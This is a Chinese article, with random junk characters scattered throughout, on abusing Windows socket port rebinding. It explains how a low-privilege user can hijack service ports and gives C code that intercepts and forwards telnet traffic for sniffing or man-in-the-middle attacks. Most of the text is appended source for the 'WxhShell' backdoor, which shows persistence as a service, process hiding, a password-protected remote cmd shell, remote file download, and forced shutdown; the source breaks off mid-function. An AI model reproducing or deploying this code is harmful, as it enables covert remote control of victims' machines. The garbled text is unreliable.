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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W,9. z% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xeF0^p7Z 26.),a saddr.sin_family = AF_INET; \1cay#X ig5
d-A saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'G;y!<a 9E5Ec~l bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !K-lO{Z^ wmAZ { 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$A]2Iw!& 4{=zO(> 这意味着什么?意味着可以进行如下的攻击: l\xcR]O hOw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;gLHSHEA {}kE=L5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tPB r{ _y*@Hj 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Mrysy)x %N$,1=0* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 o@*eC L= @/FE!6 |O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y.(Yh1 iZ}Afj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n}/?nP\% Ezsb'cUa( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'APtY;x^{ bnHQvCO3$ #include E
w#UlA:"v #include Yef=HSzo #include w.Cw)#N #include qWX%[i% DWORD WINAPI ClientThread(LPVOID lpParam); 7iMBDkb7 int main() Hvqvggfi { ntR@[)K WORD wVersionRequested; kZ7\zbN> DWORD ret; $;7,T~{ WSADATA wsaData; w=Ai?u BOOL val; PxfWO1S( SOCKADDR_IN saddr; VBnD:w"z SOCKADDR_IN scaddr; (#I$4Px{ int err; @`R#t3)8JP SOCKET s; [rk*4b ^s SOCKET sc; 8_byS<b8 int caddsize; p+M#hF5o HANDLE mt; .TZ0FxW DWORD tid; qaJ$0,]H+ wVersionRequested = MAKEWORD( 2, 2 ); O&BNhuW2 err = WSAStartup( wVersionRequested, &wsaData ); " kp+1sG8 if ( err != 0 ) { cHo@F!{o= printf("error!WSAStartup failed!\n"); @uA=v/>+ return -1; WV5z~[ } #J=^CE saddr.sin_family = AF_INET; v~E\u )S?. YCv? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?.Iau/ QA|87alh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TQ`s&8"P saddr.sin_port = htons(23); 1i=lJmr if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4`E[WE:Q { t&|M@Ouet printf("error!socket failed!\n"); >-8r|};+ return -1; QIl=Ho"c } ]hE%Tk- val = TRUE; ,~8&0p //SO_REUSEADDR选项就是可以实现端口重绑定的 03N|@Tu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qZQB"Q.* { , e^&,5b printf("error!setsockopt failed!\n"); ~dc
o return -1; 9;2{=, } <&w(%<; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zXX=WH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kXW5bR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CE,0@%6F* t =LIkwD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !m]_tB { 7sypU1V6 ret=GetLastError(); -Cn x!g} printf("error!bind failed!\n"); up _Qv#`Q return -1; +"} #4 } ^*?mb) listen(s,2); O q3aboAt while(1) D[jPz0 { Z$*m=]2 caddsize = sizeof(scaddr); ,8.Fd|#L //接受连接请求 .)(5F45Wg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (1%O;D.*?{ if(sc!=INVALID_SOCKET) N>V\ { uuaoBf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?uAq goCl if(mt==NULL) #(pY~\ { K92nh/}y printf("Thread Creat Failed!\n"); 6(pa2 break; gh9Gc1tKt } Pzt5'O@dA }
cG)U01/" CloseHandle(mt); C>NLZMT } F)8M9%g5m closesocket(s); s2=`haYu WSACleanup(); {!0f.nv return 0; wXR7Ifrv } f]sc[_n] DWORD WINAPI ClientThread(LPVOID lpParam) \wR;N/tg { '@6O3z_{ SOCKET ss = (SOCKET)lpParam; R6m6bsZ` SOCKET sc; "!S7D>2y# unsigned char buf[4096]; %+pF4f8] SOCKADDR_IN saddr; )L+>^cJI< long num; J;DTh ]z?: DWORD val; bVxbQ$ DWORD ret; !kW~s_gUb* //如果是隐藏端口应用的话,可以在此处加一些判断 aM5Hp>'nI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Ll$,"}0T saddr.sin_family = AF_INET; Vq&}i~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Cl>|*h+m saddr.sin_port = htons(23); zp'Vn7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cfr2~w { g:oB j6$
q printf("error!socket failed!\n"); j{$2.W$ return -1; E"<-To } '"m-kor val = 100; u> @@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A)9F_;BY { `g+Kv&546 ret = GetLastError(); rtxG-a56Q return -1; 2F&VG|" } 9Zj9e if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jp+s[rRc\{ { 4k_y;$4WN ret = GetLastError(); he!Uq%e return -1; 'ZFbyt Q2
} <SKzCp\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) STjk<DP( { yedEI[_4 printf("error!socket connect failed!\n"); Mp`!zwR closesocket(sc); [QDM_n closesocket(ss); 1v~1?+a\2 return -1; dy.U; } .Lm0$o*` while(1) o_C]O" { (z.4er}o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eWGaGRem //如果是嗅探内容的话,可以再此处进行内容分析和记录 ET0^_yk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AfT;IG%Gt num = recv(ss,buf,4096,0); =/m$ayG if(num>0) e3.q8r send(sc,buf,num,0); M@]@1Q.p else if(num==0) #z#`EBXV$6 break; v"YaMbu num = recv(sc,buf,4096,0); .+A2\F.^ if(num>0) o?|
]ciY send(ss,buf,num,0); GL-Pir else if(num==0) nN%Zed2O@6 break; =3;~7bYO } $DeVXW closesocket(ss); v*JXrB&x closesocket(sc); X?aj0# Q return 0 ; &HBC9Bx/( } XK{K FB-
QB5,Vfoux @bIZ0tr4 ========================================================== bLSUF`-z g[L}puN 下边附上一个代码,,WXhSHELL P$v9 y=&^=Zh[ ========================================================== LI9
Uc\ \Lg{GN. #include "stdafx.h" c[+uwO~ |>/m{L[ #include <stdio.h> %7A?gY81 #include <string.h> _/z3QG{Ea^ #include <windows.h> Hrg -5_ #include <winsock2.h> 19;Pjo8 #include <winsvc.h> ==npFjB #include <urlmon.h> ,lFhLj7 4 3G2{ #pragma comment (lib, "Ws2_32.lib") z7!@^!r #pragma comment (lib, "urlmon.lib") UM}MK 2O(= 2X #define MAX_USER 100 // 最大客户端连接数 p5Wz.n.<' #define BUF_SOCK 200 // sock buffer b *Ca*! #define KEY_BUFF 255 // 输入 buffer |xFSGrC }qg.Go #define REBOOT 0 // 重启 m](q,65 2 #define SHUTDOWN 1 // 关机 #k
t+
)> =JE5/ #define DEF_PORT 5000 // 监听端口 dO!B=/ Zvkb= #define REG_LEN 16 // 注册表键长度 !@T5]( zV #define SVC_LEN 80 // NT服务名长度 LMaY}m> MDauHtF, // 从dll定义API GhR%f xe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 85rjM#~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vAqVs5 j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ZtF,`Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {JtfEna /Jc54d // wxhshell配置信息 @r/f struct WSCFG { cuQAXqXC@ int ws_port; // 监听端口 $Dm|ol.Z char ws_passstr[REG_LEN]; // 口令 A>C8whx int ws_autoins; // 安装标记, 1=yes 0=no ,&LGAa char ws_regname[REG_LEN]; // 注册表键名 \t
^9UN char ws_svcname[REG_LEN]; // 服务名 jJ3dZ<# char ws_svcdisp[SVC_LEN]; // 服务显示名 t_hr$ { char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^Is#_Z| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z$y~:bz int ws_downexe; // 下载执行标记, 1=yes 0=no $O9,Gvnxx char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" FvVM}l' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rg7~?b- [orS-H7^ }; IN?rPdY 6Ao{Aej| // default Wxhshell configuration (%)<jg1 struct WSCFG wscfg={DEF_PORT, T7Qw1k "xuhuanlingzhe", LLPbZ9q 1, ?sclOOh "Wxhshell", v5 I}a7 "Wxhshell", P( 1Z "WxhShell Service", ;v m$F251 "Wrsky Windows CmdShell Service", F/:Jp3@ "Please Input Your Password: ", S8Yti 1, M,g$ " http://www.wrsky.com/wxhshell.exe", g_e_L39 "Wxhshell.exe" DS^`:^hv }; 9uW\~DwsZ% mI,!8# // 消息定义模块 :xZ^Jq91 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rv|X\Wm char *msg_ws_prompt="\n\r? for help\n\r#>"; -5GRit1q? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; C%Fc%}[ char *msg_ws_ext="\n\rExit."; jd+U+8r char *msg_ws_end="\n\rQuit."; @QAI 0ZY char *msg_ws_boot="\n\rReboot..."; Pk^W+M_)~ char *msg_ws_poff="\n\rShutdown..."; +&.wc;mi char *msg_ws_down="\n\rSave to "; RP%7M8V){B kmM->v char *msg_ws_err="\n\rErr!"; C n.x:I@r char *msg_ws_ok="\n\rOK!"; :ywm 4) sW0<f&3 char ExeFile[MAX_PATH]; '\R/-. int nUser = 0; i|CAN,' HANDLE handles[MAX_USER]; o,_R;'\E[a int OsIsNt; wqA7_
- tB<|7 SERVICE_STATUS serviceStatus; .iZo/_ SERVICE_STATUS_HANDLE hServiceStatusHandle; `Zd\d:Wyv
t&H3yV // 函数声明 ;fZ9:WB int Install(void); b|nh4g int Uninstall(void); Mcqym8,q|3 int DownloadFile(char *sURL, SOCKET wsh); :NXM.@jJ=" int Boot(int flag); ,_I#+XiXY void HideProc(void); i7foZ\btFc int GetOsVer(void); 2Z7r ZjXW int Wxhshell(SOCKET wsl); T*qSk! void TalkWithClient(void *cs); BL H~`N3U int CmdShell(SOCKET sock); !@9G9<NK int StartFromService(void); ,7ZV;f81 int StartWxhshell(LPSTR lpCmdLine); 6HRr4NDcj @"L*! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o|nN0z)b4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9_lWB6 8'o6: // 数据结构和表定义 b9 TsuY SERVICE_TABLE_ENTRY DispatchTable[] = 4 {rj 4P? { D}]u9jS1 {wscfg.ws_svcname, NTServiceMain}, iDV.C@ {NULL, NULL} 0 ![ }; 0%"sOth Q3 yW#eD // 自我安装 #9(L/)^ int Install(void) ev9ltl{ { @<C<rB8R char svExeFile[MAX_PATH]; Rp_)LA HKEY key; !+T29QYK8 strcpy(svExeFile,ExeFile); wMU}EoGS? =k:yBswi // 如果是win9x系统,修改注册表设为自启动 lFbf9s:$B if(!OsIsNt) { L%
`lC] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !uSG 1j"y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WO{ET RegCloseKey(key); D\k'Eez if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mcq.*at RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LyG&FOf? RegCloseKey(key); rvp#[RAaS} return 0; agj_l}=gO } I:edLg1T } XY!0yAK(! } "RLv{D<)J, else { $n* wS, cCO2w2A[* // 如果是NT以上系统,安装为系统服务 )=%TIkeF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ##BfI`FJ if (schSCManager!=0) _7b' i6- { \&b1%Asyz SC_HANDLE schService = CreateService 1i/&t[ ( pd}Cg'}X schSCManager, N'~l,{ wscfg.ws_svcname, uc]`^,`2/ wscfg.ws_svcdisp, `]j:''K SERVICE_ALL_ACCESS, ~ ^*;#[< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nj6|WJ SERVICE_AUTO_START, .^V9XN{'a SERVICE_ERROR_NORMAL, H&!?c5 svExeFile, =pd#U NULL, giORc
NULL, &%r<_1 NULL, ]? %*3I NULL, ]?lUe5F NULL rObg:(z&\ ); _:~I(c6 if (schService!=0) >o )v { dzs(sM= CloseServiceHandle(schService); ,dXJCX8so CloseServiceHandle(schSCManager); {P'^X+B0* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xP-\)d-.aN strcat(svExeFile,wscfg.ws_svcname); [^0 S#,L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pYz\GSd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N;R I
A RegCloseKey(key); +{L=cWA" return 0; S,vh } a~&euT2 } ,$(a,`s) CloseServiceHandle(schSCManager); #D-Ttla } "wnN
0 p } 'g:.&4x_w 0bl 8J5Ar5 return 1; D.*o^{w| } GS+Z(,J>= 74fE%;F // 自我卸载 QE+HL8c^s int Uninstall(void) C9^C4
{ _*fOn@Vwo HKEY key; >>%E?'9A 3gs!ojG if(!OsIsNt) { `Jn2(+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y&6 pc RegDeleteValue(key,wscfg.ws_regname); (D2N_l(`< RegCloseKey(key); .O6(QI*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s2"<<P[q' RegDeleteValue(key,wscfg.ws_regname); HpIWH* RegCloseKey(key); =fK6P6'B return 0; s y>}2orj~ } `Ha<t. v( } c]68$;Z7 } 'a G`qPB else { N2.Ym;^ xjh(;S' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WB 5M![ if (schSCManager!=0) zI"1.^Trn { }~Ir& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 97vQM if (schService!=0) S!h=HE { K)W:@,* if(DeleteService(schService)!=0) { ZKt`>KZ CloseServiceHandle(schService); !OV+=Rwdx CloseServiceHandle(schSCManager); :gTtWJ04] return 0; `X%Qt~ } @t2S"s$m CloseServiceHandle(schService); _K3;$2d|R } =w ! 6un CloseServiceHandle(schSCManager); ou=33}uO } 5Kl;(0B9 } sB wzb .4[M7) return 1; D[dI_|59a } B7(bNr o^W.53yX // 从指定url下载文件 ,j(S'Pw int DownloadFile(char *sURL, SOCKET wsh) T
3<2ds { S,f:nLT HRESULT hr; Xa$-Sx char seps[]= "/"; yOO@v6jO) char *token; ,"5][RsOn char *file; RMlx[nsq char myURL[MAX_PATH]; LwcAF g| char myFILE[MAX_PATH]; 1!;4I@W(I) 7X <# strcpy(myURL,sURL); Y'yGhpT~ token=strtok(myURL,seps); ;%Kh~ while(token!=NULL) ;]>a7o { 7M<co," file=token; C(n_*8{ token=strtok(NULL,seps); ^/)%s 3 } `5SQ4 HL%|DCo GetCurrentDirectory(MAX_PATH,myFILE); G
UK%RC8 strcat(myFILE, "\\"); auAwZi/ strcat(myFILE, file); O?0`QMY send(wsh,myFILE,strlen(myFILE),0); q
+!i6!6r send(wsh,"...",3,0); c~u91h? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !M}ZK( if(hr==S_OK) R%"'k<`# return 0; S5[}kfe else 7A^L$TY return 1; w d6+,B j%i6H1#.Z } .V@3zzv\ 814cCrr,o // 系统电源模块 Bi7&yS5V int Boot(int flag) QBjvbWoIG( { (Q"~bP{F HANDLE hToken; >cH}sNHy TOKEN_PRIVILEGES tkp; 7
lu_E.Bv ]Xg7XY if(OsIsNt) { 7n7UL0Oc1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?@QcKQ@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~^l;~& tkp.PrivilegeCount = 1; x#fv<Cj4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ''}2JJU{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v G~JK[ if(flag==REBOOT) { s#FX2r3=Fg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;N!opg))d< return 0; 0E#?H0<OeG } cUTG!
P\R else { "
f.9u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B#4'3Y-3 return 0; u5tUm } nnCz!:9p } '^(qlCI
else { D{6<,#P{w if(flag==REBOOT) { M=4`^.Ocm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T!-ly7-` return 0; w[#*f?at~ } >3&9Wbv> else { f1
`E- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %II o return 0; /|@~:5R5H } ?N&s. } 1ezBnZJg T3PwM2em_` return 1; d?aZk-|c } ,3W,M=j) Y?:"nhN // win9x进程隐藏模块 <MJ-w1A void HideProc(void) mpD[k9`x# { r |2{(+ Li9>RY+3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8Fv4\dr if ( hKernel != NULL ) :(;ho.zz { $Y8iT<nP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7#C3E$gn? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UL"
M?).5 FreeLibrary(hKernel); !e}4>!L,(^ } o_&Qb^W |k]fY*z( return; X?Or. } .\8LL,zT 1V-si bE // 获取操作系统版本 eE@7AM int GetOsVer(void) j|LO g {
%$=2tfR OSVERSIONINFO winfo; fni7HBV? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); szp.\CMz GetVersionEx(&winfo); sU/vXweky" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NMESGNa)z return 1; 9]:F!d/ else fvj return 0; .M0pb^M } bSa]={}L( <t dsUh:?& // 客户端句柄模块 l0eh}d int Wxhshell(SOCKET wsl) k=9k4l { 2yVQqwQm SOCKET wsh; ynJ)6n7a struct sockaddr_in client; 9[h8Dy DWORD myID; 6u xF< xW58B while(nUser<MAX_USER) SD jJ?K { omI"xx int nSize=sizeof(client); gps. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L$^)QxH7 if(wsh==INVALID_SOCKET) return 1; G$2Pny<! TWdhl9Ot handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tn?D~?a*O if(handles[nUser]==0) u/%Z0`X closesocket(wsh); a\KM^jrCD else cCcJOhk|d nUser++; j9.%(* } iYGa4@/uM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r|y\FL n<ecVFft return 0; Nzb=h/; } k0D): B.~[m} // 关闭 socket rdH^"( void CloseIt(SOCKET wsh) ?(M]'ia{ { G> sqfYkK closesocket(wsh); ,nJCqX~/G nUser--; $g\p)- aU ExitThread(0); /sSM<r]5j } @eYD@! f6m
h_l // 客户端请求句柄 G<Urj+3/Xo void TalkWithClient(void *cs) 3&R1C>JS ] { % -.V6}V f7Gs1{ SOCKET wsh=(SOCKET)cs; 57EL&V%j char pwd[SVC_LEN]; X$eR RSW char cmd[KEY_BUFF]; B[5<& char chr[1]; Gz2\&rmN int i,j; QV
-ZP'e^ m?=J;r"Re while (nUser < MAX_USER) { P`y.3aK {x~r$")c? if(wscfg.ws_passstr) { "ZuA._ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"d\b><R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uCgJF@ //ZeroMemory(pwd,KEY_BUFF); be [E^% i=0; i]& >+R<6 while(i<SVC_LEN) {
I p|[ <2wC)l3j* // 设置超时 f DPLB[ fd_set FdRead; .f|)od[ struct timeval TimeOut; DH uUEv< FD_ZERO(&FdRead); h]}DMVV] FD_SET(wsh,&FdRead); dwb ^z+ TimeOut.tv_sec=8; ()Qq7/ TimeOut.tv_usec=0; M$} AJS%8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mqDI'~T9 u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yw\lNhoPS /1eeNbd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E9]*!^=/ pwd =chr[0]; PR%n>a# if(chr[0]==0xd || chr[0]==0xa) { obGvd6\ pwd=0; $&s V.fGu break; {&J
OO } ITD&wg i++; *P?Rucg } c`oW-K{ +y\o^w4sT // 如果是非法用户,关闭 socket C%#u2C2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }4?z<. V } pz"}o#R"x - x; xQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n^<J@uC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fM"&=X :g{ybTSEe while(1) { >b8-v~o{ m14'u GC ZeroMemory(cmd,KEY_BUFF); <VhD>4f{] wWM[Hus // 自动支持客户端 telnet标准 /$9We8 j=0; W*2P+H% while(j<KEY_BUFF) { "YVr/u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y4[oa?G cmd[j]=chr[0]; "i&9RA!1 if(chr[0]==0xa || chr[0]==0xd) { f[?JLp
cmd[j]=0; @0%[4 break; *DQa6,b } /)sP<WPQ6 j++; xRZ/[1f! } hRqr H`jnChD:M' // 下载文件 u[nLrEnD if(strstr(cmd,"http://")) { ^OK;swDW send(wsh,msg_ws_down,strlen(msg_ws_down),0); i;\n\p1 if(DownloadFile(cmd,wsh)) orAr3`AR3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7nbHJi else 9)uJ\NMy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Te&w9K } *DvQnj else { JD9=gBN\? N;4wbUPL7h switch(cmd[0]) { @S 0mNA CtZOIx.;| // 帮助 \5j#ad case '?': { #$l:% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -]G=Q1 1 break; X2{Aa T*M } )[ejb?{d // 安装 8[#EC 3 case 'i': { U[z2{\ if(Install()) f<y3/jl4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); a3,A_M}M' else Hk$do`H-=Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UK)wV break; Uy?X-"UR } 55=YM'5] // 卸载 &w:0ad| case 'r': { 3mL(xpT.8z if(Uninstall()) lHE \Z` send(wsh,msg_ws_err,strlen(msg_ws_err),0); R0K{wY58 else \y+^r|IL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZuKOscVS#T break; OF,_6"m } [MD"JW?4B // 显示 wxhshell 所在路径 AqHGBH0 case 'p': { w*X(bua@ char svExeFile[MAX_PATH]; <YrsS-9 strcpy(svExeFile,"\n\r"); bm h@SB strcat(svExeFile,ExeFile); G/_xn5XDD send(wsh,svExeFile,strlen(svExeFile),0); ux)Wh.5 break; +W8kMuM! } Hm+VGH'H? // 重启 2'Raj'2S4 case 'b': { %g69kizoWi send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8Nx fYA if(Boot(REBOOT)) ]$Q@4=fb send(wsh,msg_ws_err,strlen(msg_ws_err),0); @X P_~ N else { .pH 4[~ closesocket(wsh); /?a9g>G%N ExitThread(0); Ml/K~H
tN } <RcB: h break; -h=wLYl@0i } '@5x=> // 关机 5?|y%YH;R\ case 'd': { %vUUx+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8"rK if(Boot(SHUTDOWN)) -![{Zb@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0n8fez
b else {
$QwzL/a closesocket(wsh);
yZb})4. ExitThread(0); r]Lj@0F>8 } Oq(FV[N7t break; cQ3p|a ` } B_C."{G // 获取shell 0^6}s1d_ case 's': { <SdOb#2 CmdShell(wsh); bAUYJPRpy closesocket(wsh); ,^jQBD4={ ExitThread(0); 65tsJ"a< break; >fD%lq; } Ex6Kxd}8 // 退出 %VE FruM case 'x': { <3Rq!w/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q(BRJ( CloseIt(wsh); ;Mr Q1 break; OaY]}4tI$ } 3h6,x0AG // 离开 Equ%6x case 'q': { aM:tg1g send(wsh,msg_ws_end,strlen(msg_ws_end),0); /K;A bE closesocket(wsh); M&e=LV WSACleanup(); 21] K7 exit(1); i%MR<M break; DmZ_tuVI } lq?N>~PG } J ayax]u7J } :u2tu60&MJ [a.(0YLr'w // 提示信息 YVk
+zt~S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "9Br)3 } YB4|J44Y } )&-n-m@E 3%u: c]-wF return; c~d*SDca } yr)e."#S '=d y
= // shell模块句柄 P<9T.l int CmdShell(SOCKET sock) cca]@Ox] { ;a[3RqmKW STARTUPINFO si; 1yeD-M"w ZeroMemory(&si,sizeof(si)); Djf~8q V! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "V,dH%&j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @JOsG-VW~ PROCESS_INFORMATION ProcessInfo; )}k"7" char cmdline[]="cmd"; @[1,i~H CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @?</8;%3W return 0; 2]r5e; } TLg 9`UA GT3}'`f B // 自身启动模式 m-qOyt int StartFromService(void) CljEC1S# { [TT:^F(Y typedef struct $GVf;M2* {
@;[. #hK DWORD ExitStatus;
\P*%u DWORD PebBaseAddress; 1Sv$!xX`n DWORD AffinityMask; nVGOhYn DWORD BasePriority; \_+Af` ULONG UniqueProcessId; 7j"B-k# ULONG InheritedFromUniqueProcessId; F^!mgU X } PROCESS_BASIC_INFORMATION; fQw|SW f%REN3=5K PROCNTQSIP NtQueryInformationProcess; GB}X y;hco static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vVo# nzeZ5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 ijZQ ^(:n a6C HANDLE hProcess; j>~@vq PROCESS_BASIC_INFORMATION pbi; (e<p^TJ] `2'*E\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f&XM|Bg if(NULL == hInst ) return 0; + Cq&~<B eqpnh^0}d g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iT1HbAT] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wh^I|D?" NtQueryInformationProcess = 